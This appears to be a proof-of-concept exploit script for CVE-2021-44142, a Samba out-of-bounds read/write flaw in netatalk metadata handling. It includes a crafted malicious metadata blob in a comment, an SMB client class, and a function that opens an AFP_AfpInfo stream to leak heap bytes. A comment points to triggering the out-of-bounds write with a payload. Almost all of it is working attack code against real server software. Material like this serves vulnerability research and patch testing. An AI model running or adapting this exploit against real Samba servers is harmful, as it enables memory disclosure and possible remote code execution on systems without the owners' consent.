CVE-2021-44142 PoC Samba 4.15.0 OOB Read/Write

CVE-2021-44142.py

# CVE-2021-44142 PoC Samba 4.15.0 OOB Read/Write 
# (C) 2022 - 0xSha.io -  @0xSha
# This PoC is un-weaponized and for educational purposes only .
# To learn how to use the PoC please read the writeup : 
# https://0xsha.io/blog/a-samba-horror-story-cve-2021-44142
# requires samba4-python

# Refrences : 
# https://www.thezdi.com/blog/2022/2/1/cve-2021-44142-details-on-a-samba-code-execution-bug-demonstrated-at-pwn2own-austin
# Patch : https://attachments.samba.org/attachment.cgi?id=17092

from Samba.samba3 import libsmb_samba_internal as libsmb
from Samba.dcerpc import security
from Samba.samba3 import param as s3param
from samba import credentials
from samba import NTSTATUSError


# can not use 127.0.0.1 on mac use 2 or anything else 
ip = "127.0.0.1"



# set attrinutes using smbclient 
# import smbclient
# from base64 import b64decode, b64encode

# example malicious metadata 
# ad->ad_eid[eid].ade_off pointed to len(ad->ad_data) -1

# netatalk_metadata = """
# 0sAAUWBwACAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAEAAAAmgAAAAAA
# AAAIAAABYgAAABAAAAAJAAABkQAAAAEAAAAOAAABcgAAAASAREVWAA
# ABdgAAAACASU5PAAABfgAAAACAU1lOAAABhgAAAACAU1Z+AAABjgAAA
# AAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAA
# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# AAAAAAAAAAAAAAAAAAAAAAKaE1vSmhNb2AAAAAKaE1vQAAAAAAAAAAAAA
# AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# """

# smbclient.ClientConfig(username='sha', password='password')

# smbclient.register_session("127.0.0.2", username="sha", password="password")
# print(smbclient.setxattr(r"\\127.0.0.2\sambashare\exp" , b'org.netatalk.Metadata' , b'\x00\x05\x16\x07\x00\x02\x00\.....) #




SMB_NAME = "sambashare"
SMB_USER = "sha"
SMB_PWD = "password"



# borrowed and modified from https://github.com/truenas
class SMB(object):
    def __init__(self, **kwargs):
        self._connection = None
        self._open_files = {}
        self._cred = None
        self._lp = None
        self._user = None
        self._share = None
        self._host = None
        self._smb1 = False

    def connect(self, **kwargs):
        host = kwargs.get("host")
        share = kwargs.get("share")
        username = kwargs.get("username")
        password = kwargs.get("password")
        smb1 = kwargs.get("smb1", False)

        self._lp = s3param.get_context()
        self._lp.load_default()
        self._cred = credentials.Credentials()
        self._cred.guess(self._lp)

        if username is not None:
            self._cred.set_username(username)
        if password is not None:
            self._cred.set_password(password)

        self._host = host
        self._share = share
        self._smb1 = smb1
        self._connection = libsmb.Conn(
            host,
            share,
            self._lp,
            self._cred,
            force_smb1=smb1,
        )

    def disconnect(self):
        open_files = list(self._open_files.keys())
        try:
            for f in open_files:
                self.close(f)
        except NTSTATUSError:
            pass

        del(self._connection)
        del(self._cred)
        del(self._lp)

    def mkdir(self, path):
        return self._connection.mkdir(path)

    def rmdir(self, path):
        return self._connection.rmdir(path)

    def ls(self, path):
        return self._connection.list(path)

    def create_file(self, file, mode, attributes=None, do_create=False):
        dosmode = 0
        f = None
        for char in str(attributes):
            if char == "h":
                dosmode += libsmb.FILE_ATTRIBUTE_HIDDEN
            elif char == "r":
                dosmode += libsmb.FILE_ATTRIBUTE_READONLY
            elif char == "s":
                dosmode += libsmb.FILE_ATTRIBUTE_SYSTEM
            elif char == "a":
                dosmode += libsmb.FILE_ATTRIBUTE_ARCHIVE

        if mode == "r":
            f = self._connection.create(
                file,
                CreateDisposition=1 if not do_create else 3,
                DesiredAccess=security.SEC_GENERIC_READ,
                FileAttributes=dosmode,
            )
        elif mode == "w":
            f = self._connection.create(
                file,
                CreateDisposition=3,
                DesiredAccess=security.SEC_GENERIC_ALL,
                FileAttributes=dosmode,
            )

        self._open_files[f] = {
            "filename": file,
            "fh": f,
            "mode": mode,
            "attributes": dosmode
        }
        return f

    def close(self, idx, delete=False):
        if delete:
            self._connection.delete_on_close(
                self._open_files[idx]["fh"],
                True
            )
        self._connection.close(self._open_files[idx]["fh"])
        self._open_files.pop(idx)
        return self._open_files

    def read(self, idx=0, offset=0, cnt=1024):
        return self._connection.read(
            self._open_files[idx]["fh"], offset, cnt
        )

    def write(self, idx=0, data=None, offset=0):
        return self._connection.write(
            self._open_files[idx]["fh"], data, offset
        )


def trigger_oob_read():
    
    # using named stream, make sure the file (named poc) exists on your samba share and contains 
    # user.org.netatalk.Metadata extended attributes. 
    # you find an example on top of this file inside the netatalk_metadata variable 
    
    afp_file = f'poc:AFP_AfpInfo' 
    c = SMB()
    c.connect(host=ip, share=SMB_NAME, username=SMB_USER, password=SMB_PWD, smb1=False)
    fd = c.create_file(afp_file, "w")
    xat_bytes = c.read(fd, 0, 0x3c)
    print(xat_bytes) # print leaked info 
    
    # to trigger and play with OOB write ;)  
    # c.write(fd, payload)
    # c.close(fd)   
    c.close(fd)
    c.disconnect()


trigger_oob_read()